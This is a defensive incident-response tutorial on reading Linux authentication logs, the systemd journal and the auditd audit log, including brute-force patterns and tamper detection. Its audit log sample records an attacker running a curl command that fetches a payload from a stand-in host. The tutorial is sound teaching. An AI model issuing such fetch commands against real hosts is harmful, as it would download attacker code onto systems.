Reading Linux auth.log, journald, and the Audit Log for IR

What the Linux logs record

Linux has no single log. Authentication events, service activity, and fine-grained syscall auditing live in three separate systems, in three formats, read three different ways. This sub teaches you to read all three: what each records, what it looks like, and the gaps each leaves that the others fill.

Section 0.4 showed you the live system; this sub shows you its written history. The skill is knowing which log answers which question, so that under time pressure you reach for the right source first instead of scrolling the wrong one.

The three logs you start from

Almost every Linux investigation begins in one of three places, and each answers a different question.

Three sources, three questions. The authentication log and journal are almost always present; the audit log is the richest but has to be configured before the incident. Reaching for the wrong one burns time you do not have.

A caution before the detail: logs are written by the host, which means an attacker who reaches root can edit or delete them. Everything in this section assumes you treat the logs as evidence to be corroborated, never as unquestionable truth. The cross-checking habit from Section 0.2, where a gap in one source is filled by another, is what protects you from an attacker who cleaned up after themselves in one place but not the others.

The authentication log

On Debian and Ubuntu systems the authentication log is /var/log/auth.log; on Red Hat-family systems the same events go to /var/log/secure. It is plain text, one event per line, and it is the first thing most investigations read because the majority of intrusions involve a login at some point. Three event types matter most.

A failed login marks an attempt that did not succeed. A handful are normal, the usual fat-fingered passwords. Hundreds in a short window against one account, or one attempt each against many accounts, is an attack:

Mar 12 13:58:02 web-prod-02 sshd[4011]: Failed password for invalid user admin from 198.51.100.7 port 51224 ssh2
Mar 12 13:58:04 web-prod-02 sshd[4013]: Failed password for invalid user oracle from 198.51.100.7 port 51288 ssh2
Mar 12 14:02:11 web-prod-02 sshd[4120]: Accepted password for deploy from 198.51.100.7 port 52004 ssh2

Read that as a story. The same source address fails against admin and oracle, accounts that do not exist on the host, the signature of an automated guessing attack walking a wordlist. Then, minutes later, the same address gets an Accepted password for deploy, a real account. The brute force found a working credential. You now have the moment of compromise, the account, and the attacker's address, all from three lines, and the contrast between the red failures and the green success is the whole narrative.

A privilege escalation through sudo or su is the second key event, recorded with the user, the target identity, and the command, exactly the line you saw in Section 0.2 when www-data invoked a root shell. The third, account and session events, covers new users being created, group membership changing, and sessions opening and closing, the trail an attacker leaves when they add themselves a way back in.

One gap in the authentication log is worth knowing early, because it catches people out. A login with an SSH key rather than a password still produces an Accepted publickey line, so the login itself is recorded. But if an attacker added their own key to an account's authorized_keys file, the addition of that key is not an authentication event and does not appear here at all. The auth log shows the attacker logging in cleanly with a key, looking exactly like a legitimate key-based login, with nothing to indicate the key was planted. To catch that you have to look at the key file's modification time and contents on disk, which is a filesystem question, not a log question. This is a concrete instance of the recurring lesson: one source shows you the login, another shows you how the means of login got there, and only together do they tell the truth.

Finally, the authentication log rotates. Older events are compressed into files like auth.log.1, auth.log.2.gz, and eventually deleted by the log rotation policy. An incident you are investigating weeks late may have its critical entries in a rotated, gzipped file, or aged out entirely, which is one more reason that off-host log forwarding, covered in Module 16, is what saves an investigation when the on-host logs are gone.

The systemd journal

Modern Linux centralizes most other logging in the systemd journal, a structured binary store you query with journalctl rather than read as a text file. The binary format is why you cannot simply cat it, and the query tool is what makes it powerful: you can filter by service, by time window, by priority, and by the specific fields the journal records for every entry.

# everything in the incident window, oldest first
$ journalctl --since "2026-03-12 13:55" --until "2026-03-12 14:15"
# just the SSH daemon
$ journalctl -u ssh --since today
# kernel messages — for hardware, modules, OOM events
$ journalctl -k -b

The journal's strength in an investigation is the time-bounded query. Once the authentication log has given you the moment of compromise, you pivot to the journal and pull everything that happened in that window across all services at once, which often reveals the service that was exploited, the process that crashed, or the unit an attacker installed. Two cautions matter. First, the journal can be configured to keep little or no history, or to discard it on reboot, so on some hosts it is nearly empty, and absence of an entry proves nothing. Second, on many systems the journal and the classic text logs both exist and overlap, so you cross-check one against the other, which is exactly the corroboration that catches selective tampering.

Beyond time filtering, the journal stores structured fields on every entry, and querying them turns it from a wall of text into a precise instrument. Each record carries the originating process ID, the user ID, the executable path, and the systemd unit, among others, and you can filter on any of them. Asking the journal for every entry where the executable was a shell, or every entry tied to a specific process ID you found in your live triage, narrows thousands of lines to the handful that matter. This is the same idea as the /proc sweep from Section 0.4 applied to history rather than the live system: you do not read the journal start to finish, you ask it pointed questions and let it return only the matching records. Learning the fields worth filtering on, and chaining them with the time window, is what separates someone who finds the answer in the journal in a minute from someone who scrolls for an hour. Module 3 builds the full query vocabulary.

The audit log

The kernel audit system, managed by the auditd daemon and written to /var/log/audit/audit.log, is the most detailed source of the three, and the least often present, because it has to be configured in advance. When it is running, it records activity at the syscall level: a rule can log every execution of a program, every write to a sensitive file like /etc/passwd, every network connection by a given user. This is the source that answers questions the others cannot, such as exactly which process modified a file and when.

type=EXECVE msg=audit(1741788185.231:892): argc=3 a0="curl" a1="-s" a2="http://203.0.113.40/c"
type=SYSCALL ... uid=0 comm="curl" exe="/usr/bin/curl" key="net_exec"

The audit record captures the full command and arguments, the user ID that ran it, and the real binary path, tied to a precise timestamp. Where a web access log told you a request arrived and the journal told you a service did something, the audit log can tell you the exact command an attacker typed. Its cost is that it must be set up before the incident, it is verbose, and it can be voluminous on a busy host. Module 16, on readiness, covers configuring it so the evidence you want exists before you need it, and Module 3 covers reading it in depth.

Detecting tampering

Because logs are written by the host, a root-level attacker can alter them, and the discipline is to assume they might have. You rarely catch tampering by staring at one log, because a careful attacker removes the incriminating lines cleanly. You catch it through disagreement between sources. A login that appears in the journal but is missing from the authentication log, a process the audit log recorded executing with no corresponding service entry in the journal, a gap in one log's timestamps that the others fill, each is a contradiction that a tampered log cannot hide, because the attacker would have had to clean every source consistently, and they almost never do. This is the deepest reason Linux IR treats correlation as central rather than optional: it is not only how you build a timeline, it is how you detect that someone edited the record. Module 3 develops tampering detection into a systematic technique. The habit to carry now is to read the logs as several independent witnesses whose disagreements are themselves evidence.

The logs tell you what the host recorded. The next section turns to where attackers arrange to stay, the persistence locations you check on every investigation, and how the log sources here reveal them.